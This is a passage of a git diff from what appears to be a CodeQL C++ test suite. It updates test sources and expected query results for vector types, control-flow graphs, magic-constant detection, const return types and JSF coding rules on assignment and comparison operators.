__attribute((vector_size(16))) int | vector_types.cpp:51:18:51:18 | n | file://:0:0:0:0 | int | diff --git a/cpp/ql/test/library-tests/vector_types/fill.ql b/cpp/ql/test/library-tests/vector_types/fill.ql new file mode 100644 index 00000000000..8415df77929 --- /dev/null +++ b/cpp/ql/test/library-tests/vector_types/fill.ql @@ -0,0 +1,5 @@ +import cpp + +from VectorFillOperation vf, Expr operand +where operand = vf.getOperand() +select vf, vf.getType(), operand, operand.getType() diff --git a/cpp/ql/test/library-tests/vector_types/variables.expected b/cpp/ql/test/library-tests/vector_types/variables.expected index 2182120cf39..225d18dd9af 100644 --- a/cpp/ql/test/library-tests/vector_types/variables.expected +++ b/cpp/ql/test/library-tests/vector_types/variables.expected @@ -1,6 +1,17 @@ | file://:0:0:0:0 | fp_offset | fp_offset | file://:0:0:0:0 | unsigned int | 4 | | file://:0:0:0:0 | gp_offset | gp_offset | file://:0:0:0:0 | unsigned int | 4 | | file://:0:0:0:0 | overflow_arg_area | overflow_arg_area | file://:0:0:0:0 | void * | 8 | +| file://:0:0:0:0 | p#0 | p#0 | file://:0:0:0:0 | __attribute((vector_size(16))) double | 16 | +| file://:0:0:0:0 | p#0 | p#0 | file://:0:0:0:0 | __attribute((vector_size(16))) float | 16 | +| file://:0:0:0:0 | p#0 | p#0 | file://:0:0:0:0 | __va_list_tag && | 8 | +| file://:0:0:0:0 | p#0 | p#0 | file://:0:0:0:0 | const __va_list_tag & | 8 | +| file://:0:0:0:0 | p#0 | p#0 | file://:0:0:0:0 | double * | 8 | +| file://:0:0:0:0 | p#0 | p#0 | file://:0:0:0:0 | float * | 8 | +| file://:0:0:0:0 | p#1 | p#1 | file://:0:0:0:0 | __attribute((vector_size(16))) double | 16 | +| file://:0:0:0:0 | p#1 | p#1 | file://:0:0:0:0 | __attribute((vector_size(16))) double | 16 | +| file://:0:0:0:0 | p#1 | p#1 | file://:0:0:0:0 | __attribute((vector_size(16))) float | 16 | +| file://:0:0:0:0 | p#1 | p#1 | file://:0:0:0:0 | __attribute((vector_size(16))) float | 16 | +| file://:0:0:0:0 | p#2 | p#2 | file://:0:0:0:0 | char | 1 | | file://:0:0:0:0 | reg_save_area | reg_save_area | file://:0:0:0:0 | void * | 8 | | vector_types.cpp:9:21:9:21 | x | x | vector_types.cpp:6:15:6:17 | v4f | 16 | | vector_types.cpp:14:18:14:20 | lhs | lhs | vector_types.cpp:6:15:6:17 | v4f | 16 | @@ -14,3 +25,7 @@ | vector_types.cpp:33:8:33:9 | v5 | v5 | file://:0:0:0:0 | __attribute((vector_size(16))) double | 16 | | vector_types.cpp:34:10:34:16 | doubles | doubles | file://:0:0:0:0 | double[2] | 16 | | vector_types.cpp:41:14:41:16 | arg | arg | vector_types.cpp:7:14:7:17 | v16c | 16 | +| vector_types.cpp:47:23:47:25 | dst | dst | file://:0:0:0:0 | v16i * | 8 | +| vector_types.cpp:47:34:47:36 | src | src | file://:0:0:0:0 | v16i * | 8 | +| vector_types.cpp:47:43:47:43 | n | n | file://:0:0:0:0 | int | 4 | +| vector_types.cpp:57:43:57:44 | vf | vf | vector_types.cpp:55:16:55:27 | vector4float | 16 | diff --git a/cpp/ql/test/library-tests/vector_types/vector_ops.expected b/cpp/ql/test/library-tests/vector_types/vector_ops.expected index c7ea5dd02d4..376457b88c8 100644 --- a/cpp/ql/test/library-tests/vector_types/vector_ops.expected +++ b/cpp/ql/test/library-tests/vector_types/vector_ops.expected @@ -1,2 +1,4 @@ | vector_types.cpp:16:16:16:41 | ... == ... | == | file://:0:0:0:0 | __attribute((vector_size(16))) char | | vector_types.cpp:21:10:21:18 | ... < ... | < | file://:0:0:0:0 | __attribute((vector_size(16))) int | +| vector_types.cpp:51:10:51:18 | ... << ... | << | file://:0:0:0:0 | __attribute((vector_size(16))) int | +| vector_types.cpp:51:18:51:18 | (vector fill) ... | (vector fill) | file://:0:0:0:0 | __attribute((vector_size(16))) int | diff --git a/cpp/ql/test/library-tests/vector_types/vector_types.cpp b/cpp/ql/test/library-tests/vector_types/vector_types.cpp index 8429716642e..5e875b6b953 100644 --- a/cpp/ql/test/library-tests/vector_types/vector_types.cpp +++ b/cpp/ql/test/library-tests/vector_types/vector_types.cpp @@ -41,3 +41,19 @@ int main() { v4f lax(v16c arg) { return arg; } + +typedef int v16i __attribute__((vector_size(16))); + +void shift_left(v16i *dst, v16i *src, int n) { + // We represent this shift as an operation on vector types, and the + // right-hand side is a vector fill expression (i.e. a vector filled with n in + // each element). + *dst = *src << n; +} + +typedef double vector4double __attribute__((__vector_size__(32))); +typedef float vector4float __attribute__((__vector_size__(16))); + +vector4double convert_vector(vector4float vf) { + return __builtin_convertvector(vf, vector4double); +} diff --git a/cpp/ql/test/library-tests/virtual_functions/cfg/cfg.expected b/cpp/ql/test/library-tests/virtual_functions/cfg/cfg.expected index fae05c1383f..9d0e0c7773a 100644 --- a/cpp/ql/test/library-tests/virtual_functions/cfg/cfg.expected +++ b/cpp/ql/test/library-tests/virtual_functions/cfg/cfg.expected @@ -1,149 +1,149 @@ -| Base::Base | false | 137 | 137 | Base | -| Base::Base | false | 140 | 140 | return ... | -| Base::Base | false | 142 | 142 | { ... } | -| Base::Base | false | 156 | 156 | Base | -| Base::Base | false | 158 | 158 | Base | -| Base::Base | true | 140 | 137 | | -| Base::Base | true | 142 | 140 | | -| Base::Base_f | false | 80 | 80 | Base_f | -| Base::Base_f | false | 86 | 86 | call to f | -| Base::Base_f | false | 89 | 89 | this | -| Base::Base_f | false | 90 | 90 | initializer for i | -| Base::Base_f | false | 93 | 93 | declaration | -| Base::Base_f | false | 97 | 97 | 1 | -| Base::Base_f | false | 98 | 98 | return ... | -| Base::Base_f | false | 100 | 100 | { ... } | -| Base::Base_f | true | 89 | 86 | | -| Base::Base_f | true | 90 | 89 | | -| Base::Base_f | true | 93 | 90 | | -| Base::Base_f | true | 97 | 80 | | -| Base::Base_f | true | 98 | 97 | | -| Base::Base_f | true | 100 | 93 | | -| Base::Base_g | false | 114 | 114 | Base_g | -| Base::Base_g | false | 120 | 120 | call to g | -| Base::Base_g | false | 123 | 123 | this | -| Base::Base_g | false | 124 | 124 | initializer for i | -| Base::Base_g | false | 127 | 127 | declaration | -| Base::Base_g | false | 131 | 131 | 4 | -| Base::Base_g | false | 132 | 132 | return ... | -| Base::Base_g | false | 134 | 134 | { ... } | -| Base::Base_g | true | 120 | 132 | | -| Base::Base_g | true | 123 | 120 | | -| Base::Base_g | true | 124 | 123 | | -| Base::Base_g | true | 127 | 124 | | -| Base::Base_g | true | 131 | 114 | | -| Base::Base_g | true | 132 | 131 | | -| Base::Base_g | true | 134 | 127 | | -| Base::f | false | 68 | 68 | f | -| Base::f | false | 71 | 71 | call to abort | -| Base::f | false | 73 | 73 | ExprStmt | -| Base::f | false | 75 | 75 | return ... | -| Base::f | false | 77 | 77 | { ... } | -| Base::f | true | 73 | 71 | | -| Base::f | true | 75 | 68 | | -| Base::f | true | 77 | 73 | | -| Base::g | false | 103 | 103 | g | -| Base::g | false | 108 | 108 | 3 | -| Base::g | false | 109 | 109 | return ... | -| Base::g | false | 111 | 111 | { ... } | -| Base::g | true | 108 | 103 | | -| Base::g | true | 109 | 108 | | -| Base::g | true | 111 | 109 | | -| Base::operator= | false | 148 | 148 | operator= | -| Base::operator= | false | 154 | 154 | operator= | -| __va_list_tag::operator= | false | 54 | 54 | operator= | -| __va_list_tag::operator= | false | 60 | 60 | operator= | -| abort | false | 64 | 64 | abort | -| fun_f1 | false | 170 | 170 | fun_f1 | -| fun_f1 | false | 179 | 179 | call to Base | -| fun_f1 | false | 180 | 180 | new | -| fun_f1 | false | 182 | 182 | initializer for p1 | -| fun_f1 | false | 186 | 186 | declaration | -| fun_f1 | false | 189 | 189 | call to f | -| fun_f1 | false | 191 | 191 | p1 | -| fun_f1 | false | 193 | 193 | initializer for i | -| fun_f1 | false | 197 | 197 | declaration | -| fun_f1 | false | 201 | 201 | 2 | -| fun_f1 | false | 202 | 202 | return ... | -| fun_f1 | false | 204 | 204 | { ... } | -| fun_f1 | true | 179 | 180 | | -| fun_f1 | true | 180 | 197 | | -| fun_f1 | true | 182 | 179 | | -| fun_f1 | true | 186 | 182 | | -| fun_f1 | true | 189 | 202 | | -| fun_f1 | true | 191 | 189 | | -| fun_f1 | true | 193 | 191 | | -| fun_f1 | true | 197 | 193 | | -| fun_f1 | true | 201 | 170 | | -| fun_f1 | true | 202 | 201 | | -| fun_f1 | true | 204 | 186 | | -| fun_f2 | false | 207 | 207 | fun_f2 | -| fun_f2 | false | 211 | 211 | call to Base | -| fun_f2 | false | 212 | 212 | new | -| fun_f2 | false | 214 | 214 | initializer for p1 | -| fun_f2 | false | 218 | 218 | declaration | -| fun_f2 | false | 223 | 223 | call to f | -| fun_f2 | false | 225 | 225 | p1 | -| fun_f2 | false | 227 | 227 | initializer for i | -| fun_f2 | false | 231 | 231 | declaration | -| fun_f2 | false | 235 | 235 | 2 | -| fun_f2 | false | 236 | 236 | return ... | -| fun_f2 | false | 238 | 238 | { ... } | -| fun_f2 | true | 211 | 212 | | -| fun_f2 | true | 212 | 231 | | -| fun_f2 | true | 214 | 211 | | -| fun_f2 | true | 218 | 214 | | -| fun_f2 | true | 225 | 223 | | -| fun_f2 | true | 227 | 225 | | -| fun_f2 | true | 231 | 227 | | -| fun_f2 | true | 235 | 207 | | -| fun_f2 | true | 236 | 235 | | -| fun_f2 | true | 238 | 218 | | -| fun_g1 | false | 241 | 241 | fun_g1 | -| fun_g1 | false | 245 | 245 | call to Base | -| fun_g1 | false | 246 | 246 | new | -| fun_g1 | false | 248 | 248 | initializer for p1 | -| fun_g1 | false | 252 | 252 | declaration | -| fun_g1 | false | 255 | 255 | call to g | -| fun_g1 | false | 257 | 257 | p1 | -| fun_g1 | false | 259 | 259 | initializer for i | -| fun_g1 | false | 263 | 263 | declaration | -| fun_g1 | false | 267 | 267 | 2 | -| fun_g1 | false | 268 | 268 | return ... | -| fun_g1 | false | 270 | 270 | { ... } | -| fun_g1 | true | 245 | 246 | | -| fun_g1 | true | 246 | 263 | | -| fun_g1 | true | 248 | 245 | | -| fun_g1 | true | 252 | 248 | | -| fun_g1 | true | 255 | 268 | | -| fun_g1 | true | 257 | 255 | | -| fun_g1 | true | 259 | 257 | | -| fun_g1 | true | 263 | 259 | | -| fun_g1 | true | 267 | 241 | | -| fun_g1 | true | 268 | 267 | | -| fun_g1 | true | 270 | 252 | | -| fun_g2 | false | 273 | 273 | fun_g2 | -| fun_g2 | false | 277 | 277 | call to Base | -| fun_g2 | false | 278 | 278 | new | -| fun_g2 | false | 280 | 280 | initializer for p1 | -| fun_g2 | false | 284 | 284 | declaration | -| fun_g2 | false | 289 | 289 | call to g | -| fun_g2 | false | 291 | 291 | p1 | -| fun_g2 | false | 293 | 293 | initializer for i | -| fun_g2 | false | 297 | 297 | declaration | -| fun_g2 | false | 301 | 301 | 2 | -| fun_g2 | false | 302 | 302 | return ... | -| fun_g2 | false | 304 | 304 | { ... } | -| fun_g2 | true | 277 | 278 | | -| fun_g2 | true | 278 | 297 | | -| fun_g2 | true | 280 | 277 | | -| fun_g2 | true | 284 | 280 | | -| fun_g2 | true | 289 | 302 | | -| fun_g2 | true | 291 | 289 | | -| fun_g2 | true | 293 | 291 | | -| fun_g2 | true | 297 | 293 | | -| fun_g2 | true | 301 | 273 | | -| fun_g2 | true | 302 | 301 | | -| fun_g2 | true | 304 | 284 | | -| operator delete | false | 177 | 177 | operator delete | -| operator new | false | 174 | 174 | operator new | +| Base::Base | false | 215 | 215 | Base | +| Base::Base | false | 220 | 220 | return ... | +| Base::Base | false | 222 | 222 | { ... } | +| Base::Base | false | 363 | 363 | Base | +| Base::Base | false | 367 | 367 | Base | +| Base::Base | true | 220 | 215 | | +| Base::Base | true | 222 | 220 | | +| Base::Base_f | false | 407 | 407 | Base_f | +| Base::Base_f | false | 412 | 412 | declaration | +| Base::Base_f | false | 416 | 416 | 1 | +| Base::Base_f | false | 417 | 417 | return ... | +| Base::Base_f | false | 419 | 419 | { ... } | +| Base::Base_f | false | 424 | 424 | call to f | +| Base::Base_f | false | 426 | 426 | this | +| Base::Base_f | false | 427 | 427 | initializer for i | +| Base::Base_f | true | 412 | 427 | | +| Base::Base_f | true | 416 | 407 | | +| Base::Base_f | true | 417 | 416 | | +| Base::Base_f | true | 419 | 412 | | +| Base::Base_f | true | 426 | 424 | | +| Base::Base_f | true | 427 | 426 | | +| Base::Base_g | false | 371 | 371 | Base_g | +| Base::Base_g | false | 376 | 376 | declaration | +| Base::Base_g | false | 380 | 380 | 4 | +| Base::Base_g | false | 381 | 381 | return ... | +| Base::Base_g | false | 383 | 383 | { ... } | +| Base::Base_g | false | 388 | 388 | call to g | +| Base::Base_g | false | 391 | 391 | this | +| Base::Base_g | false | 392 | 392 | initializer for i | +| Base::Base_g | true | 376 | 392 | | +| Base::Base_g | true | 380 | 371 | | +| Base::Base_g | true | 381 | 380 | | +| Base::Base_g | true | 383 | 376 | | +| Base::Base_g | true | 388 | 381 | | +| Base::Base_g | true | 391 | 388 | | +| Base::Base_g | true | 392 | 391 | | +| Base::f | false | 301 | 301 | f | +| Base::f | false | 437 | 437 | call to abort | +| Base::f | false | 439 | 439 | ExprStmt | +| Base::f | false | 441 | 441 | return ... | +| Base::f | false | 443 | 443 | { ... } | +| Base::f | true | 439 | 437 | | +| Base::f | true | 441 | 301 | | +| Base::f | true | 443 | 439 | | +| Base::g | false | 230 | 230 | g | +| Base::g | false | 402 | 402 | 3 | +| Base::g | false | 403 | 403 | return ... | +| Base::g | false | 405 | 405 | { ... } | +| Base::g | true | 402 | 230 | | +| Base::g | true | 403 | 402 | | +| Base::g | true | 405 | 403 | | +| Base::operator= | false | 349 | 349 | operator= | +| Base::operator= | false | 359 | 359 | operator= | +| __va_list_tag::operator= | false | 92 | 92 | operator= | +| __va_list_tag::operator= | false | 99 | 99 | operator= | +| abort | false | 345 | 345 | abort | +| fun_f1 | false | 312 | 312 | fun_f1 | +| fun_f1 | false | 317 | 317 | declaration | +| fun_f1 | false | 319 | 319 | declaration | +| fun_f1 | false | 323 | 323 | 2 | +| fun_f1 | false | 324 | 324 | return ... | +| fun_f1 | false | 326 | 326 | { ... } | +| fun_f1 | false | 329 | 329 | call to Base | +| fun_f1 | false | 330 | 330 | new | +| fun_f1 | false | 332 | 332 | initializer for p1 | +| fun_f1 | false | 337 | 337 | call to f | +| fun_f1 | false | 339 | 339 | p1 | +| fun_f1 | false | 341 | 341 | initializer for i | +| fun_f1 | true | 317 | 332 | | +| fun_f1 | true | 319 | 341 | | +| fun_f1 | true | 323 | 312 | | +| fun_f1 | true | 324 | 323 | | +| fun_f1 | true | 326 | 317 | | +| fun_f1 | true | 329 | 330 | | +| fun_f1 | true | 330 | 319 | | +| fun_f1 | true | 332 | 329 | | +| fun_f1 | true | 337 | 324 | | +| fun_f1 | true | 339 | 337 | | +| fun_f1 | true | 341 | 339 | | +| fun_f2 | false | 276 | 276 | fun_f2 | +| fun_f2 | false | 281 | 281 | declaration | +| fun_f2 | false | 283 | 283 | declaration | +| fun_f2 | false | 287 | 287 | 2 | +| fun_f2 | false | 288 | 288 | return ... | +| fun_f2 | false | 290 | 290 | { ... } | +| fun_f2 | false | 293 | 293 | call to Base | +| fun_f2 | false | 294 | 294 | new | +| fun_f2 | false | 296 | 296 | initializer for p1 | +| fun_f2 | false | 304 | 304 | call to f | +| fun_f2 | false | 306 | 306 | p1 | +| fun_f2 | false | 308 | 308 | initializer for i | +| fun_f2 | true | 281 | 296 | | +| fun_f2 | true | 283 | 308 | | +| fun_f2 | true | 287 | 276 | | +| fun_f2 | true | 288 | 287 | | +| fun_f2 | true | 290 | 281 | | +| fun_f2 | true | 293 | 294 | | +| fun_f2 | true | 294 | 283 | | +| fun_f2 | true | 296 | 293 | | +| fun_f2 | true | 306 | 304 | | +| fun_f2 | true | 308 | 306 | | +| fun_g1 | false | 243 | 243 | fun_g1 | +| fun_g1 | false | 248 | 248 | declaration | +| fun_g1 | false | 250 | 250 | declaration | +| fun_g1 | false | 254 | 254 | 2 | +| fun_g1 | false | 255 | 255 | return ... | +| fun_g1 | false | 257 | 257 | { ... } | +| fun_g1 | false | 260 | 260 | call to Base | +| fun_g1 | false | 261 | 261 | new | +| fun_g1 | false | 263 | 263 | initializer for p1 | +| fun_g1 | false | 268 | 268 | call to g | +| fun_g1 | false | 270 | 270 | p1 | +| fun_g1 | false | 272 | 272 | initializer for i | +| fun_g1 | true | 248 | 263 | | +| fun_g1 | true | 250 | 272 | | +| fun_g1 | true | 254 | 243 | | +| fun_g1 | true | 255 | 254 | | +| fun_g1 | true | 257 | 248 | | +| fun_g1 | true | 260 | 261 | | +| fun_g1 | true | 261 | 250 | | +| fun_g1 | true | 263 | 260 | | +| fun_g1 | true | 268 | 255 | | +| fun_g1 | true | 270 | 268 | | +| fun_g1 | true | 272 | 270 | | +| fun_g2 | false | 192 | 192 | fun_g2 | +| fun_g2 | false | 197 | 197 | declaration | +| fun_g2 | false | 199 | 199 | declaration | +| fun_g2 | false | 203 | 203 | 2 | +| fun_g2 | false | 204 | 204 | return ... | +| fun_g2 | false | 206 | 206 | { ... } | +| fun_g2 | false | 214 | 214 | call to Base | +| fun_g2 | false | 223 | 223 | new | +| fun_g2 | false | 225 | 225 | initializer for p1 | +| fun_g2 | false | 235 | 235 | call to g | +| fun_g2 | false | 237 | 237 | p1 | +| fun_g2 | false | 239 | 239 | initializer for i | +| fun_g2 | true | 197 | 225 | | +| fun_g2 | true | 199 | 239 | | +| fun_g2 | true | 203 | 192 | | +| fun_g2 | true | 204 | 203 | | +| fun_g2 | true | 206 | 197 | | +| fun_g2 | true | 214 | 223 | | +| fun_g2 | true | 223 | 199 | | +| fun_g2 | true | 225 | 214 | | +| fun_g2 | true | 235 | 204 | | +| fun_g2 | true | 237 | 235 | | +| fun_g2 | true | 239 | 237 | | +| operator delete | false | 212 | 212 | operator delete | +| operator new | false | 210 | 210 | operator new | diff --git a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/MagicConstantsNumbers.expected b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/MagicConstantsNumbers.expected index 98813c7be00..41c8a7e79d8 100644 --- a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/MagicConstantsNumbers.expected +++ b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/MagicConstantsNumbers.expected @@ -13,6 +13,12 @@ | constants.h:153:10:153:12 | 129 | Magic constant: literal '129' is repeated 31 times and should be encapsulated in a constant. | | constants.h:153:10:153:12 | 129 | Magic constant: literal '129' is repeated 31 times and should be encapsulated in a constant. | | functions.h:3:2:3:4 | 102 | Magic constant: literal '102' is repeated 21 times and should be encapsulated in a constant. | +| functions.h:3:2:3:4 | 102 | Magic constant: literal '102' is repeated 21 times and should be encapsulated in a constant. | +| functions.h:3:8:3:10 | 102 | Magic constant: literal '102' is repeated 21 times and should be encapsulated in a constant. | | functions.h:3:8:3:10 | 102 | Magic constant: literal '102' is repeated 21 times and should be encapsulated in a constant. | | functions.h:3:14:3:16 | 102 | Magic constant: literal '102' is repeated 21 times and should be encapsulated in a constant. | +| functions.h:3:14:3:16 | 102 | Magic constant: literal '102' is repeated 21 times and should be encapsulated in a constant. | | functions.h:12:11:12:13 | 103 | Magic constant: literal '103' is repeated 21 times and should be encapsulated in a constant. | +| templates.cpp:4:5:4:6 | 23 | Magic constant: literal '23' is repeated 21 times and should be encapsulated in a constant. | +| templates.cpp:4:5:4:6 | 23 | Magic constant: literal '23' is repeated 21 times and should be encapsulated in a constant. | +| templates.cpp:13:5:13:6 | 25 | Magic constant: literal '25' is repeated 21 times and should be encapsulated in a constant. | diff --git a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/templates.cpp b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/templates.cpp new file mode 100644 index 00000000000..be73c87951c --- /dev/null +++ b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/templates.cpp @@ -0,0 +1,18 @@ + +template +void f(T x) { + 23; + 23; 23; 23; 23; 23; 23; 23; 23; 23; 23; 23; 23; 23; 23; 23; 23; 23; 23; 23; 23; + 'A'; + 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; +} + +void g(void) { + int i; + f(i); + 25; + 25; 25; 25; 25; 25; 25; 25; 25; 25; 25; 25; 25; 25; 25; 25; 25; 25; 25; 25; 25; + 'B'; + 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; +} + diff --git a/cpp/ql/test/query-tests/Likely Bugs/ReturnConstTypeMember/ReturnConstTypeMember.expected b/cpp/ql/test/query-tests/Likely Bugs/ReturnConstTypeMember/ReturnConstTypeMember.expected index 83bf4266675..02c5f0868f4 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/ReturnConstTypeMember/ReturnConstTypeMember.expected +++ b/cpp/ql/test/query-tests/Likely Bugs/ReturnConstTypeMember/ReturnConstTypeMember.expected @@ -1,4 +1,4 @@ -| templates.cpp:13:7:13:9 | fun | The 'const' modifier has no effect on return types. The 'const' modifying the return type can be removed. | +| templates.cpp:13:7:13:7 | fun | The 'const' modifier has no effect on return types. The 'const' modifying the return type can be removed. | | test.cpp:5:12:5:23 | getAConstInt | The 'const' modifier has no effect on return types. For a const function, the 'const' should go after the parameter list. | | test.cpp:11:12:11:28 | getAConstIntConst | The 'const' modifier has no effect on return types. The 'const' modifying the return type can be removed. | | test.cpp:19:19:19:36 | getAStaticConstInt | The 'const' modifier has no effect on return types. The 'const' modifying the return type can be removed. | diff --git a/cpp/ql/test/query-tests/Metrics/Dependencies/dependencies.expected b/cpp/ql/test/query-tests/Metrics/Dependencies/dependencies.expected index 8c5deabdc0e..6c93362a096 100644 --- a/cpp/ql/test/query-tests/Metrics/Dependencies/dependencies.expected +++ b/cpp/ql/test/query-tests/Metrics/Dependencies/dependencies.expected @@ -1,11 +1,11 @@ | file://:0:0:0:0 | declaration of 1st parameter | LibB/libb_internal.h:5:8:5:12 | thing | | file://:0:0:0:0 | declaration of 1st parameter | LibB/libb_internal.h:5:8:5:12 | thing | | include.h:3:25:3:33 | num | LibD/libd.h:5:12:5:14 | num | -| main.cpp:8:31:8:31 | call to container | LibC/libc.h:9:3:9:11 | container | +| main.cpp:8:31:8:31 | call to container | LibC/libc.h:9:3:9:3 | container | | main.cpp:8:31:8:31 | definition of x | LibB/libb_internal.h:5:8:5:12 | thing | | main.cpp:8:31:8:31 | definition of x | LibC/libc.h:5:18:5:18 | T | | main.cpp:8:31:8:31 | definition of x | LibC/libc.h:6:8:6:16 | container | | main.cpp:8:31:8:31 | definition of x | LibC/libc.h:6:8:6:16 | container | | main.cpp:10:2:10:10 | call to fun | LibA/liba.h:5:7:5:9 | fun | | main.cpp:12:9:12:19 | include_num | include.h:3:11:3:21 | include_num | -| main.cpp:13:1:13:1 | call to ~container | LibC/libc.h:10:3:10:12 | ~container | +| main.cpp:13:1:13:1 | call to ~container | LibC/libc.h:10:3:10:3 | ~container | diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.cpp index dd4b390f876..e4efc206a3a 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.cpp +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.cpp @@ -181,11 +181,35 @@ private: Forgivable operator=(int *_val); }; +// This template has structure similar to `std::enable_if`. +template +struct second { + typedef T type; +}; + +struct TemplatedAssignmentGood { + template + typename second::type operator=(T val) { // GOOD + return *this; + } +}; + +struct TemplatedAssignmentBad { + template + typename second::type operator=(T val) { // BAD (missing &) + return *this; + } +}; + int main() { Container c; c = c; TemplateReturnAssignment tra(1); tra = 2; tra = true; + TemplatedAssignmentGood taGood; + taGood = 3; + TemplatedAssignmentBad taBad; + taBad = 4; return 0; } diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.expected b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.expected index 0981be469c3..ab1f306a7dd 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.expected +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 82/AV Rule 82.expected @@ -1,4 +1,5 @@ | AV Rule 82.cpp:18:9:18:17 | operator= | Assignment operator in class Bad1 does not return a reference to *this. | | AV Rule 82.cpp:24:8:24:16 | operator= | Assignment operator in class Bad2 should have return type Bad2&. Otherwise a copy is created at each call. | +| AV Rule 82.cpp:63:29:63:29 | operator= | Assignment operator in class TemplateReturnAssignment does not return a reference to *this. | | AV Rule 82.cpp:63:29:63:37 | operator= | Assignment operator in class TemplateReturnAssignment does not return a reference to *this. | -| AV Rule 82.cpp:63:29:63:37 | operator= | Assignment operator in class TemplateReturnAssignment does not return a reference to *this. | +| AV Rule 82.cpp:199:52:199:52 | operator= | Assignment operator in class TemplatedAssignmentBad should have return type TemplatedAssignmentBad&. Otherwise a copy is created at each call. | diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 85/AV Rule 85.cpp b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 85/AV Rule 85.cpp index e745e5e904f..292b8857cb9 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 85/AV Rule 85.cpp +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 85/AV Rule 85.cpp @@ -124,3 +124,25 @@ void f9(void) { b = myClass9 >= myClass9; } +template +class MyClass10 { +public: + int i; + template + bool operator< (const MyClass10 &rhs){ return i < rhs.i; } + template + bool operator>= (const MyClass10 &rhs){ return !(*this < rhs); } + // GOOD + template + bool operator> (const MyClass10 &rhs){ return i < rhs.i; } + template + bool operator<= (const MyClass10 &rhs){ return i >= rhs.i; } + // BAD: neither operator defined in terms of the other +}; +void f10(void) { + bool b; + MyClass10 myClass10; + b = myClass10 < myClass10; + b = myClass10 > myClass10; +} + diff --git a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 85/AV Rule 85.expected b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 85/AV Rule 85.expected index 379cab5c1d6..63e1b23f402 100644 --- a/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 85/AV Rule 85.expected +++ b/cpp/ql/test/query-tests/jsf/4.10 Classes/AV Rule 85/AV Rule 85.expected @@ -3,43 +3,7 @@ | AV Rule 85.cpp:9:7:9:14 | MyClass2 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator>= is declared on line 13, but it is not defined in terms of its opposite operator operator<. | | AV Rule 85.cpp:25:7:25:14 | MyClass4 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator<= is declared on line 32, but it is not defined in terms of its opposite operator operator>. | | AV Rule 85.cpp:25:7:25:14 | MyClass4 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator> is declared on line 31, but it is not defined in terms of its opposite operator operator<=. | -| AV Rule 85.cpp:37:7:37:14 | MyClass5 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator< is declared on line 40, but it is not defined in terms of its opposite operator operator>=. | -| AV Rule 85.cpp:37:7:37:14 | MyClass5 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator<= is declared on line 44, but it is not defined in terms of its opposite operator operator>. | -| AV Rule 85.cpp:37:7:37:14 | MyClass5 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator> is declared on line 43, but it is not defined in terms of its opposite operator operator<=. | -| AV Rule 85.cpp:37:7:37:14 | MyClass5 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator>= is declared on line 41, but it is not defined in terms of its opposite operator operator<. | -| AV Rule 85.cpp:49:7:49:14 | MyClass6 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator< is declared on line 52, but it is not defined in terms of its opposite operator operator>=. | -| AV Rule 85.cpp:49:7:49:14 | MyClass6 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator<= is declared on line 56, but it is not defined in terms of its opposite operator operator>. | -| AV Rule 85.cpp:49:7:49:14 | MyClass6 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator> is declared on line 55, but it is not defined in terms of its opposite operator operator<=. | -| AV Rule 85.cpp:49:7:49:14 | MyClass6 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator>= is declared on line 53, but it is not defined in terms of its opposite operator operator<. | -| AV Rule 85.cpp:49:7:49:14 | MyClass6 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator< is declared on line 52, but it is not defined in terms of its opposite operator operator>=. | -| AV Rule 85.cpp:49:7:49:14 | MyClass6 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator<= is declared on line 56, but it is not defined in terms of its opposite operator operator>. | -| AV Rule 85.cpp:49:7:49:14 | MyClass6 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator> is declared on line 55, but it is not defined in terms of its opposite operator operator<=. | -| AV Rule 85.cpp:49:7:49:14 | MyClass6 | When two operators are opposites, both should be defined and one should be defined in terms of the other. Operator operator>= is declared on line 53, but it is not defined in terms of 